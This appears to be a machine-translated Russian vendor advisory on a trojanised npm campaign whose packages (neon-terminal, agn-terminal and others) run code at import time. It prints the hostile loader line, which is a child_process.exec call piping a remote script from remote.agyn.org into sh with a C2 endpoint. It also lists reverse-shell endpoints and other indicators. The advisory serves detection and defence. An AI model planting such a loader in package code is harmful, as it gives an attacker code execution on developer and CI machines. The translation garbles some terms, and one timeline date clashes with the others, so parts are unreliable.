GhostTracker: троянская программа npm была переименована за 74 минуты — тот же центр управления и контроля.

GhostTracker: троян npm, который сменил название через несколько часов после удаления — и сохранил тот же C2-сервер.

TL, д-р

Опубликован единственный оператор npm пять троянизированных пакетов В ходе двух атак за три дня. Пакеты маскируются под крошечные утилиты для подсветки терминала, логгера и клиента Postgres. Вредоносный код выполняется момент импорта посылки — Нет скрипта установки, который можно было бы перехватить.

Первый раунд (neon-terminal, neon-postgres, ne-logger) не была опубликована 05.07.2026 в 14:14 UTC. Семьдесят четыре минуты спустя Тот же аккаунт повторно опубликовал тот же троян под новыми именами.agn-terminal, agn-logger) — и направил его на та же самая точка управления и контроля оно уже использовалось ранее: tracker.bvgroup.co.

Этот хост C2 — единственный индикатор, сохранившийся после переименования, и это самый быстрый способ для защитника его найти. Уровень серьезности: высокаяЭкосистема: НПМНа момент написания статьи пакеты второго раунда всё ещё были доступны.

Атака: как она работает

Эти упаковки — функциональные приманки. Открыть агн-терминал и вы обнаружите полноценный, работающий вспомогательный инструмент для работы с цветами ANSI — Коды, поддерживает цвет, раскрасить, красить — с указанием типов и файлом README. Вспомогательный код работает. В верхней части входного модуля, над полезным кодом, расположены несколько строк, которые выполняются при импорте.

// agn-terminal 0.1.0 — src/index.js (top of module) import { exec } from "node:child_process";  const child = exec(   "curl -fsSL https://remote.agyn.org/remote.sh | " +   "TRACKER_REMOTE_ENDPOINT='https://tracker.bvgroup.co/remote/…' sh",   {}, (error, stdout, stderr) => {}, ); 

Три фактора обеспечивают эффективность этого метода.

  • Она срабатывает при импорте, а не при установке. В упаковке указано, что ничего не указано. предустановка or послеустановка Зацепка — обычное место, куда обращают внимание сканеры и рецензенты. Exec Вызов — это код уровня модуля. Он выполняется при первом запуске любого действия. require(“agn-terminal”) or импорт “agn-terminal”на компьютере разработчика или внутри CI. Как запись ESM (SRC / index.js) и запись CommonJS (cjs/src/index.jsОбе модульные системы несут одинаковую полезную нагрузку, поэтому обе системы рассматриваются.
  • Реальный полезный груз находится вне упаковки. В состав пакета входит только одна строка команды для подготовки данных: fetch. `remote.agyn.org/remote.sh` и перенаправьте его в sh`. Выполняется то, что оператор предоставляет по этому URL-адресу во время запроса. Конечная точка C2 передается загруженному скрипту через TRACKER_REMOTE_ENDPOINT переменная среды, поэтому скрипт второго этапа отправляет сообщение на сервер. tracker.bvgroup.co.
  • Использование вспомогательного груза увеличивает радиус поражения. agn-logger Вторая приманка — это «миниатюрный глобальный регистратор». У него нет собственной полезной нагрузки. Его входной модуль выполняет одну важную функцию:
// agn-logger 0.1.0 — cjs/src/index.js const { colorize, supportsColor } = require('agn-terminal'); 

Он заявляет агн-терминал в качестве зависимости и импортирует его. Установка или импорт логгера автоматически подключает и запускает пакет терминала. Проект, который никогда не называет троян напрямую, все равно может запустить его через логгер.

Что здесь нового

В первом раунде не использовался удалённый загрузчик. Он поставлял полезную нагрузку непосредственно в коде и расширял её версию за версией — в одном из релизов это была обратная оболочка bash, а в другом — net.Socket обратная оболочка в следующей, а git add/commit/ толчок рабочий каталог жертвы в другом месте, и, наконец, полноценный агент управления HTTP в неоновый терминал Версия 0.9.0, которая регистрировала хост, опрашивала наличие задач и запускала их с помощью exec ()и обратно потоковое воспроизведение данных в кодировке base64. Второй раунд объединяет все это в единое целое. завиток | ш, полностью снимая с регистрации второй этап. Тот же оператор, более тихий пакет, более гибкая полезная нагрузка — и, что особенно важно, тот же C2, что и раньше.

Лента

Дата (UTC) События
2026-07-03 07:03 Опубликован первый раунд: neon-terminal (0.1.0 — чистая версия, затем 0.2.0–0.9.0 — вредоносная версия), neon-postgres 3.5.2, ne-logger 0.7.0
2026-07-03 07:05 neon-terminal отмечено в режиме реального времени при сканировании
2026-07-04 Подтверждено наличие вредоносного ПО; выявлена ​​взаимосвязь между двумя родственными программами; поданы первые заявки на удаление.
2026-07-05 14:14 Первый раунд не опубликован — все восемь neon-terminal удалены версии и соседние файлы.
2026-07-05 15:28 agn-terminal 0.1.0 опубликовала
2026-07-05 15:29 agn-logger 0.1.0 опубликовано — носитель нового терминального пакета
31.12.2024 (продолжается) Пакеты второго раунда доступны на момент написания статьи.

Два раунда прошли с интервалом в три дня, а перерыв между удалением и повторным запуском составил 74 минуты. Кампания открыта: агн-* На момент написания этого текста посылки еще не были вывезены.

Индикаторы компромисса

Найдите названия пакетов в файлах блокировки и деревьях зависимостей. Найдите информацию о прокси-сервере, DNS и т. д. EDR Журналы сетевых конечных точек. Хост C2. tracker.bvgroup.co охватывает оба раунда и является наиболее значимым отдельным индикатором.

Packages

Упаковка Версии Роли Статус
neon-terminal 0.2.0–0.9.0 троян (встроенные полезные нагрузки → HTTP C2) неопубликованный
neon-postgres 3.5.2 троян (полезная нагрузка в src/errors.js) неопубликованный
ne-logger 0.7.0 перевозчик (зависит от) neon-terminal) неопубликованный
agn-terminal 0.1.0 троян (curl | sh стейджер) жить
agn-logger 0.1.0 перевозчик (зависит от) agn-terminal) жить

неоновый терминал Версия 0.1.0 представляла собой чистый исходный файл — рабочую библиотеку цветов без вредоносного содержимого — опубликованный для создания пакета до появления вредоносных версий.

Cеть

Индикаторные Контекст
tracker.bvgroup.co/remote/… HTTP C2, оба раунда (токен второго раунда) t42xNzaT2SnXbS_PsZ3gKDY-keTufZ2J)
remote.agyn.org/remote.sh погрузчик второго раунда, первый этап
reverse.bvgroup.co:443 конечная точка обратной оболочки первого раунда (neon-terminal 0.6.0)
6.tcp.eu.ngrok.io:28754 круглая обратная оболочка (neon-terminal 0.3.0)
2.tcp.eu.ngrok.io:25852 круглая обратная оболочка (neon-terminal 0.4.0)
bvgroup.co, agyn.org, agyn.io домены, управляемые оператором

Поведенческий

  • Уровень модуля child_process.exec в верхней части входного файла пакета утилит, в обоих случаях. SRC / index.js (ESM) и cjs/src/index.js (CJS).
  • A curl -fsSL … | sh Однострочная команда с передачей управления C2 через TRACKER_REMOTE_ENDPOINT переменная среды.
  • Второй «вспомогательный» пакет объявляет первый в качестве зависимости и импортирует его, не содержа при этом собственной полезной нагрузки.
  • Остаток // неоновый терминал комментарий вверху агн-терминал — фрагмент кода, скопированный и вставленный, связывающий ребрендинг с оригиналом.

Хэши файлов (SHA-256, второй раунд)

  • агн-терминал SRC / index.js - 6d464cedf64f3a26fb8f5e61ee5730fe42be4135aa87429aeb514c4f97209bc7
  • агн-терминал cjs/src/index.js - b85e80056a7607c49add12c1626881392a28e7d0e146e49a856d84725cfb46ac
  • agn-logger SRC / index.js - 667a858c749d058d4546654cdda59e963a1a0cba97900feeb96753c2d768ff19

Атрибуция и наблюдаемое поведение

Каждый пакет привязан к одной учетной записи npm. виталий-агинПубликация под непроверенным адресом электронной почты. vitalii@agyn.ioВ собственных метаданных реестра учетной записи указаны все три пакета первого раунда, которые она поддерживает. Инфраструктура связывает эти раунды воедино: домен. agyn.org соответствует издательскому agyn.io домен электронной почты и хост C2 tracker.bvgroup.co появляется в обоих неоновый терминал 0.9.0 и агн-терминал 0.1.0 — тот же путь к сборщику, использованный без изменений после переименования.

Мы описываем, что показывают артефакты, и на этом останавливаемся. Указанный адрес электронной почты издателя: vitalii@agyn.ioМы не подтвердили принадлежность этого адреса и не связываем учетную запись с каким-либо конкретным лицом или группой. Повторное использование одной конечной точки C2 в двух семействах пакетов является убедительным признаком принадлежности к одному оператору, а не подтверждением личности.

В первом раунде продаж основное внимание уделялось близости бренда к рекламной кампании. неон-постгрес представлял собой полный клон широко используемого устройства Порсагера. postgres.js Клиент, слоган и всё остальное, с полезной нагрузкой, спрятанной внутри. src/errors.js Таким образом, обычный путь импорта достигнет его — и неон- Префикс заимствует узнаваемость Neon, бессерверного провайдера Postgres. Во втором раунде от использования псевдонимов отказались и выбрали общие названия.агн-терминал, agn-logger), жертвуя узнаваемостью бренда ради более четкого разрыва с уже забытыми названиями.

  • Кто подвергся опасности. Любой, кто устанавливает и импортирует один из этих пакетов, напрямую или через провайдера, на Unix-подобном хосте. Загрузчик использует виться и sh; в снарядах первого раунда используется колотить и /dev/tcpПоскольку выполнение происходит при импорте, достаточно сервера сборки, который устанавливает зависимость и запускает любой код, обращающийся к ней — никаких дополнительных шагов после установки не требуется. На рабочей станции разработчика или в системе непрерывной интеграции загруженный второй этап выполняется с правами пользователя и полным доступом к сети.
  • Почему важно выполнение во время импорта. Защита цепочки поставок до сих пор была сосредоточена на скриптах установки, и это неспроста — postinstall является классической основой npm. Эта кампания полностью обходит её стороной. Здесь нет хука установки, который можно было бы пометить. вредоносный код Это обычная инициализация модуля, на первый взгляд неотличимая от вычисления справочной таблицы пакетом при загрузке. Инструменты, которые проверяют только скрипты в package.json, ничего не видят.
  • Тенденция к ребрендингу и повторному использованию. Главное – это 74-минутный цикл. Takedown удалил имена, но не оператора, инфраструктуру или код. В течение часа кампания возобновилась под новыми именами, указывающими на тот же C2. Блокировка на основе имени — например, запрет на добавление в список neon-terminal — уже давно бы устарела. Блокировка на основе инфраструктуры — например, запрет на добавление в список bvgroup.co — позволила бы обнаружить второй виток блокировки сразу же. Для действующего оператора, который повторно публикует свои данные быстрее, чем реестры удаляют, надежным индикатором является сетевая конечная точка, а не имя пакета.

Что же теперь делать

  • Выполните поиск с помощью команды grep по файлам блокировок и деревьям установленных пакетов для всех пяти указанных выше имен. Рассматривайте любое совпадение как скомпрометированный хост и обновляйте учетные данные, доступные с него.
  • Блокировка и оповещение о доменах bvgroup.co, agyn.orgа также конечные точки ngrok в DNS и фильтрации исходящего трафика. tracker.bvgroup.co является приоритетом.
  • Не полагайтесь только на сканирование с помощью install-hook. Добавьте обнаружение на уровне модулей. дочерний_процесс и сетевые вызовы в зависимостях, а также для завить … | ш шаблоны в исходном коде пакета.
  • Пакет утилит, который объявляет другую малоизвестную утилиту своей единственной зависимостью и импортирует её при загрузке, заслуживает более пристального внимания.
  • В CI предпочтительнее –Ignore-scripts там, где это практически возможно, но следует понимать, что здесь это не поможет — полезная нагрузка выполняется при импорте, поэтому контроль исходящего трафика во время выполнения и проверка зависимостей имеют большее значение.

Референсы

  • Neon serverless Postgres — бренд неон-* Имена заимствуют элементы, обеспечивающие их узнаваемость. 
  • Порсагер postgres.js — клиент неон-постгрес клонировано. 
sca-инструменты-программное обеспечение-композиция-анализ-инструменты
Расставьте приоритеты, устраните и защитите риски, связанные с программным обеспечением
Получите бесплатный аккаунт.
Нет необходимости кредитную карту.

Защитите свою разработку и доставку программного обеспечения

с пакетом продуктов Xygeni